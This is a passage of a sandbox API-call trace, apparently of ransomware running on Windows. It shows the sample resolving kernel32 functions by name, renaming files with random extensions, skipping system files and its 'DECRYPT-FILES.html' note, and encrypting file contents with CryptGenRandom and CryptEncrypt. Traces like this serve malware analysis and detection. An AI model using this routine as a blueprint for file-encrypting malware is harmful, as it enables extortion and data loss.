lpString1="CreateEventExW") returned="CreateEventExW" [0133.331] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0133.331] lstrlenA (lpString="CREATEEVENTW") returned 12 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0133.331] lstrlenA (lpString="CREATEFIBER") returned 11 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0133.331] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0133.331] lstrlenA (lpString="CREATEFILE2") returned 11 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0133.331] lstrlenA (lpString="CREATEFILEA") returned 11 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0133.331] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0133.331] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0133.331] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0133.331] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0133.331] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0133.331] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0133.331] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0133.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0133.332] lstrlenA (lpString="CREATEFILEW") returned 11 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0133.332] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0133.332] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0133.332] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0133.332] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0133.332] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0133.332] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0133.332] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0133.332] lstrlenA (lpString="CREATEJOBSET") returned 12 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0133.332] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0133.332] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0133.332] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0133.332] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0133.332] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0133.332] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0133.332] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0133.332] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0133.332] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0133.332] lstrlenA (lpString="CREATEPIPE") returned 10 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0133.332] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0133.332] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0133.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0133.332] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0133.333] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0133.333] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0133.333] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0133.333] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0133.333] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0133.333] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0133.333] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0133.333] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0133.333] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0133.333] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0133.333] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0133.333] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0133.333] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0133.333] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0133.333] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0133.333] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0133.333] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0133.333] lstrlenA (lpString="CREATETHREAD") returned 12 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0133.333] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0133.333] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0133.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0133.333] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0133.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0133.334] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0133.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0133.334] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0133.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0133.334] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0133.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0133.334] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0133.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0133.334] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.CcQw2M") returned 51 [0133.334] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.CcQw2M" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.ccqw2m"), dwFlags=0x0) returned 1 [0133.335] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.335] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.335] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.335] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0133.336] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0133.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\") returned 27 [0133.336] lstrlenW (lpString="SetupResources.dll") returned 18 [0133.336] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1049\\" | out: lpString1="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0133.336] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" [0133.336] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0133.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0133.336] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18264) returned 1 [0133.336] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0133.336] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0133.508] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0133.508] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0133.508] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0133.509] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0133.509] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0133.510] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.510] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0133.510] CloseHandle (hObject=0x5f8) returned 1 [0133.510] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.510] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0133.546] CloseHandle (hObject=0x0) returned 0 [0133.546] CloseHandle (hObject=0x5f4) returned 1 [0133.546] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.547] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.547] GetTickCount () returned 0x36bcb [0133.547] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0133.547] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0133.547] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0133.548] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0133.548] lstrlenA (lpString="kernel32.dll") returned 12 [0133.548] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0133.548] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0133.548] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0133.548] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0133.548] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0133.548] lstrlenA (lpString="ADDATOMA") returned 8 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0133.548] lstrlenA (lpString="ADDATOMW") returned 8 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0133.548] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0133.548] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0133.548] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0133.548] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0133.548] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0133.549] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0133.549] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0133.549] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0133.549] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0133.549] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0133.549] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0133.549] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0133.549] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0133.549] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0133.549] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0133.549] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0133.549] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0133.549] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0133.549] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0133.549] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0133.549] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0133.549] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0133.549] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0133.549] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0133.549] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0133.549] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0133.549] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0133.550] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0133.550] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0133.550] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0133.550] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0133.550] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: 